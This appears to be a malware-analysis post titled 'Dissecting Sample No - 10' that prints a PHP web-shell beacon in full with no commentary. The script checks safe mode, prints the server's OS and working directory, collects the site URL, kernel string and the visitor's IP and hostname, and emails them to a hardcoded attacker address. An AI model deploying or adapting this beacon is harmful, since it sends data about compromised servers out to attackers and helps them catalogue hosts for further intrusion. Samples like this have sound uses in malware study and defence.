Dissecting Sample No - 10

$win = strtolower(substr(PHP_OS,0,3)) == "win";
echo "B"."a"."M"."b"."Y"."
";
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
{
$safemode = true;
$hsafemode = "^C4ON^C";
}
else {$safemode = false; $hsafemode = "^C3OFF^C";}
$xos = wordwrap(php_uname(),90,"
",1);
$xpwd = @getcwd();
$OS = "[SAFEMOD:".$hsafemode."] [Kernel:".$xos."]";
echo "";echo "B"."a"."M"."b"."Y
";
echo "
OSTYPE:$OS
";
echo "
Pwd:$xpwd
";
$creator = bamby002a@yahoo.com;
($safe_mode)?($safemode="ON"):($safemode="OFF");
$base="http://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
$name = php_uname();
$ip = getenv("REMOTE_ADDR");
$host = gethostbyaddr($_SERVER[REMOTE_ADDR]);
$subj = $_SERVER['HTTP_HOST'];
$msg = "\nBASE: $base\nuname -a: $name\nIP: $ip\nHost: $host\n$pwds\n";
$from ="From: MODE_=".$safemode."";
mail( $creator, $subj, $msg, $from);
die(" ByroeNet ");